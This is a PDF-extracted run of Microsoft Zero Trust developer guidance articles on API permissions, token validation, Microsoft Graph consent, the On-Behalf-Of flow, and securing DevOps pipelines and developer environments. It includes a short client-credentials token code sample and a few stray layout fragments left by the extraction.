you must define application permissions for your API. When you define an application
permission, you'll use an application role instead of using scopes.
As with delegated permissions, you'll provide granular application permissions so that

workloads calling your API can follow least privilege access and align with Zero Trust
principles. Avoid publishing just one app role (app permission) and one scope
(delegated permission) or exposing all operations to each client.
Workloads authenticate with client credentials and request a token using the .default
scope as demonstrated in the following example code.
JavaScript
// With client credentials flows the scopes is ALWAYS of the shape

"resource/.default", as the
// application permissions need to be set statically (in the portal or by
PowerShell),
// and then granted by a tenant administrator
string[] scopes = new string[] {
"https://kkaad.onmicrosoft.com/webapi/.default" };
AuthenticationResult result = null;

try
{
result = await app.AcquireTokenForClient(scopes)
.ExecuteAsync();
Console.WriteLine("Token acquired \n");
}
catch (MsalServiceException ex) when (ex.Message.Contains("AADSTS70011"))
{
// Invalid scope. The scope has to be of the form
"https://resourceurl/.default"
// Mitigation: change the scope to be as expected
Console.WriteLine("Scope provided is not supported");
}
Permissions require admin consent when there's no user in front of the app and when
the application permission enables a broad range of operations.
Enforcing access
Ensure that your APIs enforce access by validating and interpreting access tokens that
calling application provide as bearer tokens in the HTTPS request's authorization header.
You can enforce access by validating tokens, managing metadata refresh, and enforcing
scopes and roles, as described in the following sections.
Validating tokens
After your API receives a token, it must validate the token. Validation ensures that the
token comes from the proper issuer as untampered and unmodified. Check the
signature because you don't get the token directly from Microsoft Entra ID as you do
with ID tokens. Validate the signature after your API receives a token from an untrusted
source on the network.
Because there are known vulnerabilities around JSON web token signature verification,
use a well-maintained and established standard token validation library. Authentication
libraries (such as Microsoft.Identity.Web or Passport, if you're building a node) use the
proper steps and mitigate for known vulnerabilities.
Optionally, extend token validation . Use the tenant ID ( tid ) claim to restrict the
tenants in which your API can obtain a token. Use the azp and appid claims to filter
apps that can call your API. Use the object ID ( oid ) claim to further narrow down access
to individual users.
Managing metadata refresh

Always ensure that your token validation library effectively manages the required
metadata. In this case, the metadata are the public keys, the pair of private keys, that
Microsoft uses to sign Microsoft Entra tokens. When your libraries validate these tokens,
they'll get our published list of public signing keys from a well-known internet address.
Ensure that the hosting environment has the right timing to get those keys.
For example, older libraries were occasionally hard coded to update those public signing
keys every 24 hours. Consider when Microsoft Entra ID has to quickly rotate those keys
and the keys that you downloaded didn't include the new rotated keys. Your API could
be offline for a day while it waits for its metadata refresh cycle. Reference specific
metadata refresh guidance to ensure that you properly get the metadata. If you're using
a library, ensure that it treats that metadata within reasonable timing.
Enforcing scopes and roles

After you validate your token, your API will look at the claims in the token to determine
how it should work.
For delegated permission tokens, have your API inspect the scope ( scp ) claim to see
what the application has consent to do. Inspect the object ID ( oid ) or subject key ( sub )
claims to see the user on whose behalf the application is working.
Then have your API check to ensure that the user also has access to the requested
operation. If your API has defined roles for assigning to users and groups, have your API
check for any roles claims in the token and behave accordingly. For application
permission tokens, there will be no scope ( scp ) claim. Instead, have your API determine
what application permissions the workload has received by inspecting the roles claim.
After your API has validated the token and scopes and processed the object ID ( oid ),
subject key ( sub ), and roles claims, your API can return the results.
Next steps
experience.
least privilege.
In this Quickstart: Protect a web API with the Microsoft identity platform, learn how
to protect an ASP.NET web API by restricting access to its resources to authorized
accounts only.
In this Tutorial - Transform and protect your API in Azure API Management, learn
about configuring common policies to hide the technology stack info or the
original URLs in API's HTTP response.
Feedback
Example of API protected by Microsoft
identity consent framework
Article • 04/17/2024
This article can help you, as a developer, to design your application permissions strategy
to provide least privilege. Before proceeding, see the API protection article to learn best
practices for registration, defining permissions and consent, and enforcing access.
Let's take a look at how an API that is protected by the Microsoft identity platform uses
the Microsoft identity consent framework. We'll use the Microsoft Graph API as our
example because it makes the most extensive use of the Microsoft identity platform
consent framework.
Naming convention for permission names

The Microsoft Graph team created a naming convention for permission names to make
it easier to connect the permission to the resource access that the permission enables.
Microsoft Graph permission names adhere to a simple resource.operation.constraint
pattern. The two primary operations are Read and ReadWrite (which includes update and
delete).
The constraint element affects the degree of access that your app has within the
directory. Microsoft Graph supports these constraints:
All grants permission for your app to perform the operations on all of the
resources of the specified type in a directory.
Shared grants permission for your app to perform the operations on resources that
other users have shared with the signed-in user.
AppFolder grants permission for your app to read and write files in a dedicated
folder in OneDrive. This constraint is exposed only on the Files permissions object
and is only valid for Microsoft accounts.
If you specify No constraint, your app can only perform the operations on the
resources that the signed-in user owns.
Access and operations against specific

resources
Let's look at some permissions, or scopes, for the user object in Microsoft Graph to see
how the Microsoft API designers enabled specific access and operations against specific
resources:
ﾉ Expand table
Permission Display String Description
User.Read Sign-in and read Allows users to sign-in to the app and allows the app to
user profile read the profile of signed-in users. It also allows the app to
read basic company information of signed-in users.
User.ReadWrite Read and write Allows the app to read the signed-in user's full profile. It
access to user also allows the app to update the signed-in user's profile
profile information on their behalf.
User.Read and User.ReadWrite exist (as opposed to a single permission like

User.Access that doesn't exist) so that applications can follow the Zero Trust principle of
least privilege. If the developer doesn't have a requirement and code to update the
user's profile, the app won't ask for User.ReadWrite . Therefore, an attacker can't
compromise the application and use it to change data.
Notice that User.Read doesn't just give the application access to the user object. Each
permission represents a specific range of operation. It's important that developers and
admins read the permission description to see exactly what any specific permission
enables. User.Read , in addition to enabling reading the current user's full profile,
enables the application to see the basic information from the Organizations object in
Microsoft Graph.
Let's look at another permission:
ﾉ Expand table
Permission Display Description

String
User.ReadBasic.All Read all Allows the app to read a basic set of profile properties of
users' basic other users in your organization on behalf of the signed-in
profiles user. Includes display name, first and last name, email
address, open extensions, and photo. Allows the app to read
the full profile of the signed-in user.
The range of operation that User.ReadBasic.All starts with everything that User.Read
does. In addition, you can access display name, first and last name, email address,
photo, and open extensions for other organization users. The specific range of operation
enables applications to have a nice people picker UI and is an example of the API
designers using a permission to enable a specific range of operation.
Let's look at a couple more permissions on the Microsoft Graph user object:
ﾉ Expand table
Permission Display Description

String
User.Read.All Read all Allows the app to read the full set of profile properties,
users' full reports, and managers of other users in your organization,
profiles on behalf of the signed-in user.
User.ReadWrite.All Read and Allows the app to read and write the full set of profile
write all properties, reports, and managers of other users in your
users' full organization, on behalf of the signed-in user. Also allows
profiles the app to create and delete users and reset user
passwords on behalf of the signed-in user.
As with User.Read and User.ReadWrite , User.Read.All and User.ReadWrite.All are

distinct permissions that enable an application to follow the least privilege Zero Trust
principle.
User.Read.All is interesting because every user in the organization has this capability
(for example, open Outlook, go up and down a reporting chain). You, as an individual,
can see the full user profile of every other user in your organization. However, the
Microsoft Graph API designers decided that only admins should allow an application to
perform the same operation because User.Read.All includes the tenant's organizational
hierarchy. If a bad actor accessed this information, they could mount a targeted
phishing attack where the phishing email came from a person's manager or their
manager's manager.
User.ReadWrite.All is a powerful range of operation. An application granted this
permission can update, or even delete, every user in the tenant. As a delegated
permission, when a user is in front of the app, the app can do only what the current user
can do. Regular users can't update or delete other users regardless of the app's
permissions. However, when a tenant admin uses the app, then they can perform these
operations. When deciding to grant or deny this permission, you should evaluate your
app with a tenant admin user in mind.
Permissions requiring admin consent

Given the power of User.Read.All and User.ReadWrite.All , the Microsoft Graph API
designers designated these permissions as requiring admin consent. Let's add an
Admin? Column to our table of permissions to indicate when the permission requires
admin consent:
ﾉ Expand table
Permission Display Description Admin?

String
User.Read Sign-in and Allows users to sign-in to the app and allows the No
read user app to read the profile of signed-in users. It also
profile allows the app to read basic company information
of signed-in users.
User.ReadWrite Read and Allows the app to read the signed-in user's full No
write access profile. It also allows the app to update the
to user signed-in user's profile information on their
profile behalf.
User.ReadBasic.All Read all Allows the app to read a basic set of profile No
users' basic properties of other users in your organization on
profiles behalf of the signed-in user. Includes display
name, first and last name, email address, open
extensions, and photo. Allows the app to read the
full profile of the signed-in user.
User.Read.All Read all Allows the app to read the full set of profile Yes
users' full properties, reports, and managers of other users
profiles in your organization, on behalf of the signed-in
user.
User.ReadWrite.All Read and Allows the app to read and write the full set of Yes
write all profile properties, reports, and managers of other
users' full users in your organization, on behalf of the
profiles signed-in user. Also allows the app to create and
delete users and reset user passwords on behalf
of the signed-in user.
As demonstrated in the Requesting permissions that require administrative consent

article, tenant admins can overrule requirements and designate any or all application
permissions in their tenant as requiring admin consent. You're wise to design your app
to gracefully handle when you don't receive a token from your request. Lack of consent
is one of many reasons that your app may not receive a token.
Next steps
least privilege.
In this Quickstart: Protect a web API with the Microsoft identity platform, download
and run a code sample that demonstrates how to protect an ASP.NET web API.
In this Tutorial - Transform and protect your API in Azure API Management, learn
about configuring common policies to hide technology stack info and original
URLs in the API HTTP response body.
Feedback
Calling an API from another API
Article • 04/17/2024
How do you, as a developer, ensure Zero Trust when you have one API that needs to call
another API? In this article, you'll learn how to securely develop your application when
it's working on behalf of a user.
When a user drives an app's UI, the app might use a delegated permission so that the
API knows which user on whose behalf the app is working. It would inspect the subject
(sub) claim or object ID (oid) and tenant ID (tid) claims in the access token that the app
provides when calling the API. The API wouldn't rely on the untrusted app, which is just
a call coming from somewhere on the network. Instead, it would validate the token to
ensure that the API only works on behalf of the app user that Microsoft Entra ID verified.
When one API (we'll refer to it as the Original API) calls another, it's vital that the API
that we're calling (we'll refer to it as the Downstream API) follows the above-described
validation process. The Downstream API can't rely on an untrusted network source. It
must get the user identity from a properly validated access token.
If the Downstream API doesn't follow the proper validation process, the Downstream
API must rely on the Original API to provide the identity of the user in another way. The
Downstream API might incorrectly use an application permission to perform the
operation. Then the Original API would become the sole authority over which users
could achieve which results against the Downstream API. The Original API could
intentionally (or unintentionally) allow a user to accomplish a task that the user couldn't
otherwise accomplish. For example, one user could change the details of another user or
read and update documents that the user doesn't have permission to access. Improper
validation can cause serious security issues.
For better security, the Original API acquires a delegated permission access token to
provide to the Downstream API when the Original API makes the call. Let's walk through
how this works.
Client App acquires access token to call

Original API
The following diagram shows the Client App on the left and the Original API on the
right.

The Client Application has acquired a delegated permission access token (indicated by
the pentagon shape with the "A" label) to the Original API. The delegated permission
access token allows it to work on behalf of the user to call the Original API that requires
authorization.
Client App gives access token to Original API

The animation below shows the Client App giving the access token to the Original API.
The Original API fully validates and inspects the access token to determine the identity
of the Client App's user.
Original API performs token validation and

enforcement
The next animation shows that, after the Client App gives the access token to the
Original API, the Original API performs token validation and enforcement. If all is good,
the API will proceed and service the request for the Client App.
Original API can't use access token to call

Downstream API
The following animation shows that the Original API now wants to call a Downstream
API. However, the Original API can't use the access token to call the Downstream API.
Original API goes back to Microsoft Entra ID

In the animation below, the Original API needs to go back to Microsoft Entra ID. It needs
an access token to call the Downstream API on behalf of the user.

The next animation shows the Original API providing the token that the Original API
received from the Client App and the Original API's client credentials.
Microsoft Entra ID will check for things like consent or conditional access enforcement.
You may have to go back to your calling client and provide a reason for not being able
to get the token. You would typically use a claims challenge process to go back to the
calling application with information regarding consent not being received (such as being
related to conditional access policies).
Microsoft Entra ID performs checks

In the following animation, Microsoft Entra ID performs its checks. If everything is okay,
Microsoft Entra ID will issue an access token to the Original API to call the Downstream
API on behalf of the user.

Original API has user context with On-Behalf-

Of flow
The animation below illustrates the On-Behalf-Of flow (OBO) process that allows an API
to continue to have the user context as it calls Downstream API.
Original API calls Downstream API

In the next animation, we call the Downstream API. The token that the Downstream API
receives will have the proper audience (aud) claim that indicates the Downstream API.

The token will include the scopes for granted consent and the original app user identity.
The Downstream API can properly implement effective permissions to ensure that the
identified user has permission to accomplish the requested task. You'll want to use the
on behalf of flow to acquire tokens for an API to call another API to make sure that user
context passes to all Downstream APIs.
Best option: Original API performs On-Behalf-

Of flow
This last animation shows that the best option is for the Original API to perform On-
Behalf-Of flow (OBO). If the Downstream API receives the correct token, it will be able to
correctly respond.
When an API is acting on behalf of a user and needs to call another API, the API must
use OBO to acquire a delegated permission access token to call the Downstream API on
behalf of the user. APIs should never use application permissions to call Downstream
APIs when the API is acting on behalf of a user.
Next steps
Microsoft identity platform authentication flows & app scenarios describes
authentication flows and the application scenarios in which they're used.
experience.
The Secure custom APIs with Microsoft Identity Learn module explains how to
secure a web API with Microsoft identity and how to call it from another
application.
tokens (used for implicit flows), certificates and secrets, application ID URI, and
application ownership.
Microsoft identity platform authentication libraries describes Microsoft
Authentication Library support for various application types.
Feedback
Authorization best practices
Article • 04/17/2024
As you learn to develop using Zero Trust principles, this article continues from Acquiring
authorization to access resources, Developing delegated permissions strategy, and
Developing application permissions strategy. It will help you, as a developer, to
implement the best authorization, permission, and consent models for your applications.
You can implement authorization logic within applications or solutions that require
access control. When authorization approaches rely on information about an
authenticated entity, an application can evaluate information that is exchanged during
authentication (for example, information provided within a security token). When a
security token doesn't contain information, an application can make calls to external
resources.
You don't have to embed authorization logic entirely within your application. You can
use dedicated authorization services to centralize authorization implementation and
management.
Best practices for permissions

The most widely adopted applications in Microsoft Entra ID follow consent and
authorization best practices. Review Best practices for working with Microsoft Graph and
Microsoft Graph permissions reference to learn how to be thoughtful with your
permission requests.
Apply least privilege. Only request necessary permissions. Use incremental

consent to request granular permissions just in time. Limit user access with Just-In-
Time and Just-Enough-Access (JIT/JEA), risk-based adaptive policies, and data
protection.
Use the correct permission type based on scenarios. Avoid using both application
and delegated permissions in the same app. If you're building an interactive
application where a signed-in user is present, your application should use
delegated permissions. If, however, your application runs without a signed-in user,
such as a background service or daemon, your application should use application
permissions.
Provide terms of service and privacy statements. The user consent experience
surfaces your terms of service and privacy statement to users to help them know
that they can trust your app. They're especially critical for user-facing multi-tenant
apps.
When to request permission

Some permissions require an administrator to grant consent within a tenant. They can
use the admin consent endpoint to grant permissions to an entire tenant. There are
three models that you can follow to request permissions or scopes.
Implement dynamic user consent at sign-in or first access token request.

Dynamic user consent doesn't require anything in your app registration. You can
define the scopes that you need under certain conditions (for example, when you
sign in a user for the first time). After you request that permission and receive
consent, you won't need to request permission. However, if you haven't received
dynamic user consent at sign-in or first access, then it goes through the permission
experience.
Request incremental user consent as needed. With incremental consent

combined with dynamic user consent, you don't have to request all of the
permissions at any one time. You can request a few permissions and then, as the
user moves to different functionality in your application, you'll request more
consent. This approach can increase the user's comfort level as they incrementally
grant permissions to your application. For example, if your application requests
OneDrive access, it may arouse suspicion if you're also requesting Calendar access.
Instead, later ask the user to add Calendar reminders against their OneDrive.
Use the /.default scope. The /.default scope effectively mimics the old default
experience that looked at what you put in the application registration, figured out
what consents you needed, and then asked for all of the consents not yet granted.
It doesn't require you to include the permissions that you need in your code
because they're in your app registration.
Becoming a Verified Publisher

Microsoft customers sometimes describe difficulty in deciding when to allow an
application to access the Microsoft identity platform by signing in a user or calling an
API. While adopting Zero Trust principles, they want:
Increased visibility and control.

More proactive and easier reactive decisions.
Systems that keep data safe and reduce the decision burden.
Accelerated app adoption for trustworthy developers.
Restricted consent to apps with low-risk permissions that are publisher verified.
While access to data in APIs like Microsoft Graph allows you to build rich applications,
your organization or your customer will evaluate the permissions that your app requests
along with your app's trustworthiness.
Becoming a Microsoft Verified Publisher helps you to give your customers an easier
experience in accepting your application requests. When an application comes from a
verified publisher, users, IT Pros, and customers know that it comes from someone with
whom Microsoft has a business relationship. A blue checkmark appears next to the
publisher's name (component #5 in the Permissions requested consent prompt
example below; see component table at Microsoft Entra application consent experience).
The user can select the verified publisher from the consent prompt to view more
information.
When you're a verified publisher, users and IT pros gain trust in your application
because you're a verified entity. Publisher verification provides improved branding for
your application, and increased transparency, reduced risk, and smoother enterprise
adoption for your customers.
Next steps
Trust principles.
tokens, certificates and secrets, application ID URI, and application ownership.
least privilege.
Feedback
Securing DevOps environments for Zero
Trust
Article • 04/17/2024
Securing DevOps environments is no longer a choice for developers. Hackers are

shifting left so you must implement Zero Trust principles that include verify explicitly,
use least privilege access, and assume breach in DevOps environments.
This article describes best practices for securing your DevOps environments with a Zero
Trust approach for preventing hackers from compromising developer boxes, infecting
release pipelines with malicious scripts, and gaining access to production data via test
environments.
Our Securing Enterprise DevOps Environments eBook features the following

visualization of the developer, DevOps platform, and application environments along
with the potential security threats for each.
Notice in the above diagram how connections between environments and to external
integrations expand the threat landscape. These connections can increase opportunities
for hackers to compromise the system.
Bad actors are stretching across the enterprise to compromise DevOps environments,
gain access, and unlock new dangers. Attacks go beyond the typical breadth of cyber
security breaches to inject malicious code, assume powerful developer identities, and
steal production code.
As companies transition to ubiquitous, work-from-anywhere scenarios, they must

strengthen device security. Cyber security offices may lack consistent understanding of
where and how developers secure and build code. Attackers take advantage of these
weaknesses with remote connection hacks and developer identity thefts.
DevOps tools are key entry points for hackers, from pipeline automation to code
validation and code repositories. If bad actors infect code before it reaches production
systems, in most cases, it can pass through cyber security checkpoints. To prevent
compromise, ensure that your development teams are engaged with peer reviews,
security checks with IDE security plugins, secure coding standards, and branch review.
Cyber security teams aim to prevent attackers from sieging production environments.
However, environments have widened to include supply chain tools and products.
Breach of third-party open-source tools can heighten global cyber security risks.
Learn more about developer-specific articles with the following DevSecOps articles in
the Developer guidance section of the Zero Trust Guidance Center:
Next steps
Accelerate and secure your code with Azure DevOps with tools that give
developers the fastest and most secure code to cloud experience.
Sign up for Azure Developer CLI, an open-source tool that accelerates the time it
takes to get started on Azure.
Configure Azure to trust GitHub's OIDC as a federated identity. OpenID Connect
(OIDC) allows your GitHub Actions workflows to access resources in
Azure without needing to store the Azure credentials as long-lived GitHub
secrets.
The DevOps resource center helps you with DevOps practices, Agile methods, Git
version control, DevOps at Microsoft, and how to assess your organization's
DevOps progress.
Learn how the Microsoft DevSecOps solution integrates security into every
aspect of the software delivery lifecycle to enable DevSecOps, or secure DevOps,
for apps on the cloud (and anywhere) with Azure and GitHub.
Implement Zero Trust principles as described in memorandum 22-09 (in support of
US executive order 14028, Improving the Nation's Cyber Security) by using
Microsoft Entra ID as a centralized identity management system.
Feedback
Securing the DevOps platform
environment for Zero Trust
Article • 04/17/2024
This article will help you, as a DevOps team member, to implement the Zero Trust
principle of least privilege and secure the DevOps platform environment. It features
content from our Securing Enterprise DevOps Environments eBook and highlights
best practices for secret and certificate management.
Modern enterprises rely on DevOps platforms for deployment, including pipelines and
production environments that developers require to be productive. In the past,
application security methods didn't consider the increased attack surface that present
day pipelines and production environments expose. As hackers shift left and target
upstream tools, you need innovative approaches to secure your DevOps platform
environments.
In the diagram below, notice that the DevOps platform environment connects to the
application environment and to continuous integration and continuous delivery (CI/CD)
pipeline extensions.
CICD pipeline extensions present hackers with opportunities to engage in privilege

escalations from the application environment. Extensions and integrations increase
attack surface vulnerabilities. It's critical to defend against malware intrusion threats.
How and why attackers target pipelines

Pipelines and production environments may be independent of standard application
security practices and processes. They typically require high-level access credentials that
can provide deep and meaningful access to attackers.
While attackers find new ways to compromise systems, the most common attack vectors
for pipelines include:
Extracting runtime variables and argument injection.

Scripts that retrieve service principles or credentials from pipelines.
Misconfigured personal access tokens that allow anyone with the key to access the
DevOps platform environment.
Vulnerabilities and misconfigurations in third-party integrated tools that require
access to the code (often read-only, but sometimes write access). Integrated tools
can include test frameworks, static application security testing (SAST), and dynamic
application security testing (DAST).
Best practices for secret and certificate

management
Avoiding a catastrophic breach can be as simple as effective secret management. The
diagram below illustrates an example of effective secret, password, access token, and
certificate management.
As shown in the above diagram, the developer starts a build for a customer request.
GitHub then starts a runner with a Vault App Role's role ID and secret ID. The Trusted
Entity periodically requests a new secret ID from the Vault and gets the GitHub Secret
secret ID from GitHub. The Vault uses the GitHub Secrets role ID and secret ID to sign in
and get code-signing assets. The Runner customizes and code-signs the mobile app.
The following best practices will help you to build a secure setup that minimizes secret
and parameter exposure.
Provide secure storage for secrets and certificates at each application lifecycle
stage. Always develop as if it's an open-source project. Ensure that teams are
storing secrets in key vaults rather than in the code or on team environments. Use
the Azure Key Vault cloud service for securely storing and accessing secrets.
(OIDC) allows your GitHub Actions workflows to access resources in Azure
without needing to store the Azure credentials as long-lived GitHub secrets.
More best practices for DevOps environment

security
To help defend against security incidents, below are more best practices to fortify your
DevOps platform environments. Find a detailed discussion of these recommendations in
our Securing Enterprise DevOps Environments eBook.
Equip every DevOps platform environment with audit trails. Review audit logs to
track who gained access, what change occurred, and the date/time for any active
system. Specifically include DevOps platforms with CI/CD pipelines that flow into
production. Audit trails for DevOps tools provide robust ways to remediate threats
quicker, find and alert on suspicious activities to possible breaches or
vulnerabilities, and find potential data or privilege misuse. Ensure granular control
and audit trails are available across each environment.
Secure the software supply chain. With every library you bring into your
codebase, you expand the software supply chain and inherit dependencies from
each open-source project or tool. With caution, remove unnecessary libraries and
open-source components to reduce the attack surface of your software supply
chain.
Automate Infrastructure-as-Code (IaC) template scans. With IaC environments,
it's easy to scan for misconfigurations, compliance audits, and policies issues.
Implementing compliance checks and access controls raises the security posture of
your entire infrastructure. Verify the security of third-party tool integrations that
fulfill automation system requirements.
Automate approval workflows. For any approval workflow to push code into
production, certain automatic or manual checks must confirm security, business
value, status, and quality of each request. These checks function as a gate between
development and production to prevent denial-of-service attacks and hackers
injecting code into production environments without flagging or triggering an
alert.
Allow only verified DevOps tool integrations. As in developer environments,
DevOps tools come with extensions and integrations to make the DevOps team
efficient and secure. Confirm that verified integrations require the least privilege
possible to execute their work. Implement least privilege access when possible and
ensure the right level of read/write permissions. Learn how to disable or limit
GitHub Actions for your organization.
Next steps
your DevOps environments with a Zero Trust approach for preventing hackers from
Feedback
Securing the developer environment for
Zero Trust
Article • 04/12/2024
This article will help you, as a developer, to secure your development environment so
that you can implement Zero Trust principles (verify explicitly, use least privilege access,
assume breach). It features content from our Securing Enterprise DevOps
Environments eBook and highlights best practices for branch security and trusting
tools, extensions, and integrations.
Developer velocity relies on your ability to work how and where you want to maximize
business outcomes. You want powerful, customizable machines with root or
administrator access. However, developer demands can run contrary to compliance
regulations and the need to audit and control private employee environment access and
storage.
Unmanaged machines that connect to the organization network challenge security

teams, procurement, and the governance board. The best-case scenario of providing
developers with default and hardened employee environments creates disdain on both
sides. When employees connect from anywhere, vulnerable Wi-Fi networks are an open
door for cyberattack. Hardware theft and loss are major concerns.
Vulnerabilities extend to development environment integrations. Development tools

that feature rich extensibility may have unmaintained integrations in their marketplaces.
Malicious extensions can endanger developer tools and cause company-wide breaches.
In the diagram below, notice how the developer environment connects to the DevOps
tools environment to affect Git branches. It widens the environment surface through
connection to third-party open-source packages and application extensions. Extensions
present attack vectors in dependency and extension application vulnerabilities.

Giving DevOps team members flexibility and control while preventing malicious attacks
is a fundamental challenge for security offices. DevOps can control the developer
environment with a cloud environment (see Trusted launch for Azure VMs and GitHub
Enterprise Cloud Docs ) and secure the developer environment with containers (see
GitHub Codespaces Documentation ).
In addition, developers can implement these Zero Trust measures to help secure the
developer environment:
Configure least privilege.

Limit who can change and approve code with branch security.
Adopt only trusted tools, extensions, and integrations.
Best practices for least privilege

Developers often believe that they can catch malware, phishing, and breaches in their
environments. Large developer environment threat surfaces make it unrealistic for
developers to maintain omnipresent system knowledge. When an organization detects a
breach after an attack compromises a developer environment that has administrator
access to all systems, precious remediation time may have already passed.
To remediate potential access opportunities that cause hackers to target the software
developer role, consider the following Zero Trust least privilege security best practices
for apps .
Implement least privilege and just-in-time access for DevOps. Make sure that
team members maintain only minimal access to environments for the shortest
required time. Put policies in place to cover administrator access rights on main
devices, DevOps tools, release pipelines, code repositories, environments, secret
stores, and databases. For DevOps teams, the base requirement is a connection to
the organization identity store . Use identity federation for integrating with SaaS
environments to avoid duplication of identities on third party platforms and to
reduce exposure risk.
Don't use personal access tokens for source code access. Secure practices for
DevOps teams include access to SaaS-based DevOps tools, code repositories (via
SSH, HTTPS, or personal access token). For SaaS-based environment access, have
clear instructions for how access principles dictate who can download (clone)
systems code repos and from which devices (local, cloud, and container). For
example, OneDrive can block or limit unmanaged device access.
Standardize and synchronize GitHub Enterprise Managed User (EMU) user
accounts with corporate identities. With Enterprise Managed Users , you can
control the user accounts of your enterprise members through your identity
provider (IdP). In your organization identity store, explicitly define GitHub
usernames, emails, and display names. Users then easily identify collaborators even
when they've never met face-to-face.
For the three ways a developer can connect to a SaaS environment (HTTPS with
an identity, personal access token, connecting with SSH key), make connections
with the organization identity store. With GitHub (except for GitHub EMU
accounts), your identity is and always will be your public identity. Controlled access
via SSO requires connection with the organization identity store.
Use an SSH certificate authority (CA) to provide signed SSH certificates for
members to securely access resources with Git. An SSH certificate is a mechanism
for one SSH key to sign another SSH key. GitHub Enterprise Cloud supports SSH
certificates to give organizations more control over how members access
repositories. Admins can upload their SSH CA public key and issue certificates for
members to use for Git authentication. Certificates can only access repositories
that belong to the organization. Admins can require members to use certificates
when accessing their repositories.
Use a Git credential manager to harden access to your code. Tools like Visual
Studio (VS) have built-in identity support. VS Code will defer to a Git credential
manager .
Best practices for branch security

When hackers gain access to the code repository, they can study system security and
modify code without teams noticing. To prevent unauthorized code repository access,
implement a branching strategy to establish control over code changes (see example
illustrated in the following diagram).
To remediate potential repository access opportunities, consider the following branch

security best practices.
Protect branches with code reviews to give DevOps teams control over code
changes and auditing advances. The branching strategy in the preceding diagram
articulates a controlled flow of changes that delivers a clear chain of command and
blueprint for addressing code changes . Of the different approaches for the
branching strategy, one commonality is that protected branches serve as the
source for new releases to production.
Have administrators of Git repositories control approval authorizations. The
control mechanism of branching strategies is in the approval workflow .
Protected branches require validations, reviews, and approvals before accepting
changes. One option is to create a branch protection rule to enforce workflows. For
example, require an approval review or status check pass for all pull requests
merged into the protected branch. Branch policies help teams protect important
branches of development. Policies enforce your team's code quality and change
management standards.
Best practices for trusting tools, extensions,

and integrations
Extensibility in integrated developer environments (IDE) is so productive that it's
essentially a mandated feature. You rely on the ability to apply and curate extensions
within the marketplace of a specific IDE to design your optimal work environment.
To remediate secure IDEs, consider the following tool, extension, and integration best
practices.
Ensure that you only integrate tools from both trusted marketplaces and
publishers. For example, the VS Code marketplace has thousands of extensions
to make your life easier. However, when your teams adopt new tools or extensions,
the most important aspect can be verifying a publisher's trustworthiness.
Set up secure practices to control extension use to limit the attack surface of
developer environments. Most IDE extensions require approving certain privileges
to function, often as a file with read permissions on the system to analyze code.
Extensions require connections to cloud environments to function (common in
metric tools). Approving extra functionalities on top of the IDE opens up
organizations to more threats.
On developer machines, track the number and maturity of used extensions to
understand the potential attack surface. Incorporate only VS Code marketplace
extensions from verified publishers . When you're installing third-party
application extensions with VS Code, regularly check extensions that you're
running with the command line, code --list-extensions --show-versions . Have a
good understanding of extensible components that you're running in your
developer environment.
Next steps
your DevOps environments with a Zero Trust approach for preventing hackers from
(OIDC) allows your GitHub Actions workflows to access resources in
Azure without needing to store the Azure credentials as long-lived GitHub
secrets.
Feedback
Embedding Zero Trust security into your
developer workflow
Article • 04/17/2024
As a developer, you need to feel confident and secure to move at speed. The need for
security starts as soon as you clone your code. In this article, you'll learn how to develop
using Zero Trust principles so that you can innovate quickly and securely. The Zero Trust
security strategy and approach for designing and implementing applications comprises
these principles:
points.
Use least privilege access. Limit user access with Just-In-Time and Just-Enough-
Assume breach. Minimize blast radius and segment access. Verify end-to-end
defenses.
Embedding security into your workflow helps you to:
Pinpoint security vulnerabilities more quickly.

Provide more secure developer tooling.
Create connections to improve collaboration between security and development
teams.
Power innovation and secure your workflow as

you create code
Microsoft's unified solution, illustrated in the following diagram, bridges across DevOps
and SecOps teams to help you accelerate and secure code-to-cloud development.

Our solution to safeguard DevOps relies on two main components: providing

developers with tooling to power innovation and securing the developer workflow as
developers create code. Watch the Accelerate and secure your code to cloud
development session from Microsoft Build 2022 to learn how these components
can secure your development environment.
Implement the following best practices that work together in Azure and GitHub to
secure your development solution.
Because security starts when developers clone code, enable DevSecOps with Azure
and GitHub to bridge across DevOps and SecOps teams and secure your
development environments.
Provide flexible and powerful developer tools for any developer, language, and
stack with Visual Studio and Visual Studio Code .
Simplify new developer onboarding and third-party collaboration with an entire
development lifecycle tool in the cloud using GitHub Codespaces and Microsoft
Dev Box.
Include built-in intellectual property protection for code that you no longer
disperse into multiple locations. Help your teams collaborate, develop, automate,
and deploy code wherever they want with GitHub Actions and Azure Pipelines.
Get security guidance and continuous security feedback within the developer
workflow with code scanning, secret scanning, and dependency review using
GitHub Advanced Security .
Instill zero-trust security throughout your organization using identity management
services in Microsoft Entra ID.
Fit Zero Trust security into your development

lifecycle
From pre-commit to commit through deploy then operate and monitor, you need
security solutions in place throughout all of your development lifecycle stages.
Pre-commit stage
Threat modeling
IDE security plug-in
Pre-commit hooks
Secure coding standards
Peer review
Eighty-five percent of code defects appear during the development pre-commitment

phase, mostly due to human error. Focus on security before you commit your code by
writing your code in Visual Studio Code, Visual Studio, or GitHub Codespaces to identify
vulnerabilities and secure code. Use peer reviews to encourage secure coding practices.
Commit (CI) stage

Static code analysis
Security unit tests
Dependency management
Credential scanning
During the commit stage, use extensive security methods to review your code (including
static code analysis) and scan your code as you check it into your source control. Use
credential scanning (also known as secret scanning or token scanning) to expose
credentials that you may have inadvertently introduced into the codebase. Catch
insecure dependencies before you introduce them to your environment with
dependency review.
Deploy (CD) stage

Infrastructure as code (IaC) scanning
Dynamic security scanning
Cloud configuration checks
Security acceptance tests
During the deploy stage, look at the overall health of your codebase and perform high-
level security scanning to identify risks. Perform cloud configuration checks,
infrastructures code checks, and security acceptance tests to ensure alignment with
organizational security goals.
Operate and monitor stage
Continuous monitoring
Threat intelligence
Blameless postmortems
During the operate and monitor phase, use continuous monitoring and threat
intelligence to mitigate overall dependency vulnerabilities that you may inherit over
time. Perform postmortems to take away lessons learned and continue iterating through
your DevOps cycle.
Implement dependency, code, and secret

scanning
To make securing code easier for developers, use native and automated capabilities to
provide continuous feedback with continuous security features throughout your
development lifecycle. Provide overall security to developers and communities with
GitHub Advanced Security dependency scanning, code scanning, and secret scanning.
Dependency scanning
Integrated review of dependencies
Alerts and security updates
Get risk levels of dependencies and automated fixes to vulnerable dependencies in your
codebase with continuous dependency scanning . As a continuous process, it nudges
your developers in the right direction in a friendly and non-obtrusive way.
Code scanning
Extensible framework for code scanning
Integrated within the developer workflow
Backed by industry leading CodeQL engine
Implement code scanning as you generate code with no other steps to run at
separate locations. Ease fixes early in your development lifecycle by viewing scanning
